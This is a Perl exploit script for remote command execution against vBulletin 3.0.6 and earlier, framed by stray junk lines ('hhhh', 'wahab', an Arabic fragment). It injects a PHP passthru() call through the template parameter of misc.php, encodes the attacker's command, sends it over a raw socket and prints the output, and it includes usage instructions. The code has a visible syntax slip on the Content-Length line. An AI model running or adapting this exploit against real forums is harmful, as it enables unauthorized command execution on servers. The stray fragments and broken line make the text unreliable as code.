hhhh

wahab

#!/usr/bin/perl

# vBulletin <= 3.0.6 Add templates remote execute exploit (perl)
# suBzero@kisobox.com
# Reference: http://www.securityfocus.com/bid/12622/info
#

use IO::Socket;

if (@ARGV < 3)
{
print q(
[+] vBulletin <= 3.0.6 Add templates
[+] suBzero@kisobox.com
[+] Reference: http://www.securityfocus.com/bid/12622/info
[+] Usage : vbulletin306.pl example.com /forums/ "uname id" ;
);
exit;
}

$serv = $ARGV[0];
$dir = $ARGV[1];
$cmd = $ARGV[2];

$serv =~ s/(http:\/\/)//eg;
print "\n";
print " [+] vBulletin 3.0.6 kisobox.com \r\n";
print " [+] Sending regard to $serv$dir \r\n";
print " [+] Command $cmd \r\n";
print " [+] Exploiting on progress \r\n";

$cmd = "echo _START_;".$cmd.";echo _END_"; #strOke,dont kill me 4 this
$byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
$data = $dir;
$data .= "misc.php?do=page&template={\${passthru($byte) }}";

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] Connection error\r\n";

print $sock "GET $data HTTP/1.1\n";
print $sock "Host: $serv\n";
print $sock "Accept: */*\n";
print $sock "Content-Length: ".length($data)." \n".
print $sock "Connection: close\n\n";

$on = 0; #flag

while ($res = <$sock>)
{
if ($res =~ /^_END_/)
{ print "---------------------------------------------\r\n"; exit();}
if ($on == 1) { print "$res"; }
if ($res =~ /^_START_/)
{ $on = 1; }
}
print "[-] Exploit failed \r\n";
print "---------------------------------------------

" ســو111لف ليــل "